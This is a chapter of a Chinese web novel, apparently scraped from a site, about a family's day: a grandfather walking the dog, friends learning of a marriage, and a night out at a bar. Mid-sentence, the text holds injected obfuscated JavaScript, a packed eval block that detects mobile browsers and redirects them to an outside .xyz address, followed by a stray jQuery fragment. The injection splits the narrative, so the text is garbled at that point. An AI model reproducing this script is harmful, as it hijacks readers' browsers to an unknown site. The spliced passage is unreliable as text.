22.第二十二章

作品:《带崽相亲后闪婚了[重生]

    “我今天和朋友有约,可能会晚点回来,晚饭不用等我。”夏今觉系着领带走出卫生间。


    聂负崇闻言愣了下,“我也是。”


    二人四目相对,空气静止半秒。


    夏今觉诧异,“这么巧?”


    旋即失笑:“那今天可得辛苦一下咱爸。”


    聂负崇颔首,“嗯。”


    两人在饭桌上将事情一讲,宋守仁不以为意地摆摆手,“嗨,多大点事,俩孩子都乖的很,根本用不着我带,安心去办你们的事。”


    夏朝赞同地点点小脑袋,大眼睛扑闪扑闪盯着他们,“爸爸,帅叔叔,我和瑜瑜很乖的。”


    夏今觉捏捏他的小肉脸,“弟弟确实很乖,你一个皮猴子好意思说自己乖?”


    夏朝噘起小嘴,“爸爸你瞎说,朝朝明明就很乖。”


    夏今觉忍俊不禁,“行,你乖,放学记得别乱跑,不能跟人下河捉鱼,少去公园和大爷下棋,把大爷气病了拿你抵医药费。”


    夏朝哼哼唧唧没敢拒绝,谁让他爸说的这些事儿他全干过。


    宋守仁以为夏今觉开玩笑,宽慰道:“小夏你放心吧,幼儿园和小学就在街对面,俩孩子我一定一个不落地接回家。”


    瞧宋守仁乐呵呵的模样就晓得他不清楚夏朝多淘气,夏今觉用眼神警告夏朝别搞事。


    “好,爸今天麻烦您了。”


    结束早餐一家五口各忙各的,现在买了汽车,聂负崇先把要去学校的三人送到目的地再去开铺子。


    宋老头儿牵着镖哥出门遛弯儿,从前他一个人遛弯儿不觉寂寞,自从遛过一次镖哥后,意外发现路上有狗说说话走路特别带劲儿,于是家里遛镖哥的又添一人。


    “夏镖啊,瞅瞅那小母狗多漂亮,可惜你只能跟人做姐妹。”宋守仁摸摸镖哥脑袋,语带惋惜。


    一人一狗目送皮毛雪白柔顺,油光水亮的萨摩耶远去,气氛悲伤不足半分钟,镖哥似乎嗅到熟人的气味,兴奋地朝一个方向奔,宋守仁猝不及防,险些摔个大马趴。


    “喂喂喂,夏镖你慢点,老头子经不得摔!”任由宋守仁大喊大叫,镖哥仍激动不已。


    直到一只边牧映入眼帘,边牧被一位一米六出头,身材中等,扎着高马尾一身运动装的女性牵着,一人一狗正在慢跑。


    镖哥根本不减速,直接冲过去和边牧滚作一团,两条好朋狗你扑我,我咬你,玩的不亦乐乎。


    “对不住对不住。”宋守仁连忙跟狗主人道歉,生怕镖哥粗鲁的行为撞伤别人的狗。


    女生神情错愕,“镖哥,你怎么在这儿?”


    宋守仁同样震惊,“你认识我家狗?”


    女生闻言表情惊讶中混杂入疑惑,“你家狗?”


    宋守仁理所当然,“对啊,我家夏镖。”


    女生听他讲出狗子的大名,松了一口气,应该不是偷狗贼。


    “您认识夏今觉吗?”


    宋守仁睁大眼睛,“你认识我儿子?”


    “儿子!?”女生惊呼出声。


    夏今觉打哪儿多出个爸?


    “您好,夏今觉是我朋友,我叫祝曦,这是我家福宝,同镖哥是好朋狗。”祝曦大脑一片混乱,面上努力挤出礼貌笑容。


    “原来是小夏朋友,这可真是巧了哈哈哈哈……”宋守仁弄清楚前因后果,开怀大笑。


    怪不得镖哥对人家美女狗没兴趣,原来好朋狗在附近。


    宋守仁弯腰摸摸福宝脑袋,福宝温顺的任他揉搓,“你家狗真漂亮。”


    祝曦与有荣焉,“谢谢夏叔叔夸奖。”


    宋守仁笑着摆手,“哈哈哈哈我可不姓夏,我姓宋,是小夏配偶他爸。”


    “小夏配偶……”祝曦笑容凝固在脸上,脑瓜子嗡嗡响。


    好半晌未能回过神,显然灵魂出窍很长时间了。


    宋守仁纳闷儿叫叫祝曦名字,好好的姑娘咋就突然变成死鱼眼了呢?


    ·


    “夏今觉你要死啊!结婚这么大的事你居然不告诉我!?”


    尖锐的叫骂声冲破电话攻击夏今觉耳膜,又来了这似曾相识的画面,为什么受伤的永远是他的右耳?


    或许下次应该用左耳接听电话,否则右耳真的要聋了。


    夏今觉无奈扶额,“我在上班,下班后老地方见。”


    祝曦冷哼,“算你识相,还知道主动交代。”


    这话听得夏今觉心虚,哪里是他主动交代,分明是被柳勤舟胁迫的,反正都要交代,不如一次性全交代了,免得下次再复述,他可不是柳勤舟喜欢当复读机。


    话分两头,另一边聂负崇迎面被人熊抱住,后背被拍得啪啪作响。


    “兄弟,我可想死你了!”何颂热情地对聂负崇上下其手。


    “卧槽,你这肌肉简直绝了!瞧瞧我的,那么多罐蛋白粉白喝了!”何颂捏捏聂负崇的肌肉,再隆起自己的肱二头肌,真就人比人得死,货比货得扔。


    聂负崇眉心拧成川字,将人推开,“说话就说话,别动手动脚。”


    何颂半点不怵他,死皮赖脸贴上去,“聂哥,你知道我就那点小爱好,你教教我咋才能练成你这样?这肌肉太漂亮了,一对比我那些教练全是速冻鸡,果然还是纯天然的走地鸡好。”


    何颂双眼冒光,手不自觉又要摸上聂负崇的肌肉,被聂负崇一个眼刀制止。


    “嘿嘿,哥我开个玩笑,开个玩笑,看在我大老远跑来找你玩儿的份儿上,您大人不记小人过,原谅我吧?”何颂双手合十朝聂负崇作揖。


    这家伙从小到大不着调,满嘴跑火车。


    聂负崇弯腰捡起地上扳手,继续改装车,何颂觍着脸凑近,“哥,我就问问哈。”


    见聂负崇没反应,何颂觑着他的脸色开口,“你真不打算回去啊?老爷子……”


    话到一半被聂负崇打断,“何颂,如果你是来当说客,恕不招待。”


    何颂摸摸后脑勺,讪讪一笑,“哪能呢,你可是我好兄弟,我肯定站你这边儿。”


    “对了,我大侄儿呢?”他左右张望,逼仄的店铺一眼到底,小孩儿明显不在。


    聂负崇头也不抬,言简意赅:“上学。”


    “嘿,瞧我这脑子,大侄子正是上学的年纪,不过你这铺面也太小了吧,要是让老爷子知道……”何颂恨不得自打嘴巴,慌忙转移话题。


    “我帮你把旁边的铺面盘下来吧,放心,哥们儿有钱,保管给你弄得妥妥当当。”何颂拍拍胸脯,得意洋洋。


    “可别小看我,我现在好歹是个粉丝千万的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583171|170555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    博主。”


    聂负崇听他提过,自打大学毕业,被爸妈塞进家里公司当个吉祥物,何颂无所事事学人拍起vlog,记录一下自己的生活。


    无心插柳柳成荫,没想到意外走红。


    原因自然是他出入的地方全是有钱人才去得起的高档场所。


    有时候不得不承认世界就是如此残酷,有钱人仅仅是把他们的日常生活拍出来就能赚到钱。


    作为一个标准富二代,别的不行,吃喝玩乐简直是何颂的天赋技能,于是他辞去家里工作,带着拍摄设备满世界到处跑,沉迷让广大网友见识钞能力,爱好让酸鸡见得着吃不着,一有酸他的人冒头就抽奖,现金,名表,豪车,奢侈品……


    中奖前提是没黑过他。


    气得黑子们跳脚却只能流酸口水。


    “用不着。”聂负崇果断拒绝。


    “哥,你真是从小酷到大,难怪那么多人为你扯头花。”何颂打量四周环境,虽然早有心理准备,但也不得不承认聂负崇的铺面实在穷酸,换成他肯定待不了几天就得求爷爷告奶奶喊着要回家。


    聂负崇不愧是聂负崇,无怪老爷子看不上其他后辈。


    “晚上陪我喝两杯,咱们提前说好啊,不醉不归,地方我都找好了。”何颂撞撞聂负崇胳膊。


    “我不喝。”聂负崇谨记自己如今有家有室,喝得醉醺醺回去像什么话。


    “你戒烟就算了,当是为咱大侄儿,偶尔喝一杯都不行,活着还有什么意思?”何颂不依不饶。


    聂负崇不为所动,何颂准备到时候见机行事,绝不允许自己一个人喝闷酒。


    夜幕四合,街上行人如织,夏今觉一到下班时间便利落起身往外走。


    先回家换身衣服,再前往他们约定的地方。


    打开门锁,热闹的家里空空荡荡,宋守仁估计带着俩孩子出去了。


    他猜的没错,宋守仁带着俩孩子在祝曦的蛋糕店跟福宝玩。


    祝曦把店交给店员小妹,骑上自行车回家换衣服。


    一大俩小正和狗子玩得开心,全然未察觉祝曦的离开。


    夏今觉身穿烟灰色长款风衣,内搭白色宽松衬衫,棕色复古花纹丝巾做领带,同色系长裤包裹住修长笔直的腿。


    柔顺的头发被发胶制造出随意慵懒的感觉,其实每根发丝都经过精心打理,耳廓上银色的耳链璀璨夺目,随风晃动。


    青年取下平时常戴的眼镜,展露他含情脉脉的桃花眼,眼帘半阖,眸光流转间看电线杆子都深情。


    他的五官着实优越,气质自信张扬,飒沓不羁,无论何时何地都能轻易成为人群的焦点。


    前脚迈入酒吧,后脚便接收到无数双炙热的打量目光,夏今觉似乎早已习惯这种万众瞩目,闲庭信步走到吧台,一阵凛冽的冷香刮过,余下一丝不易察觉的甜。


    “就是这儿,据说是本地最火的酒吧,有很多帅哥出没。”何颂试图与聂负崇勾肩搭背,无奈自己矮了一截。


    “哥们儿对你好吧。”何颂挤眉弄眼。


    聂负崇转身欲走,何颂眼疾手快将人拽住,“我开玩笑的,我一个直男进什么gay吧,这就一普通酒吧,听说调酒师技术不错,特意过来尝尝。”


    聂负崇半信半疑被拉进去。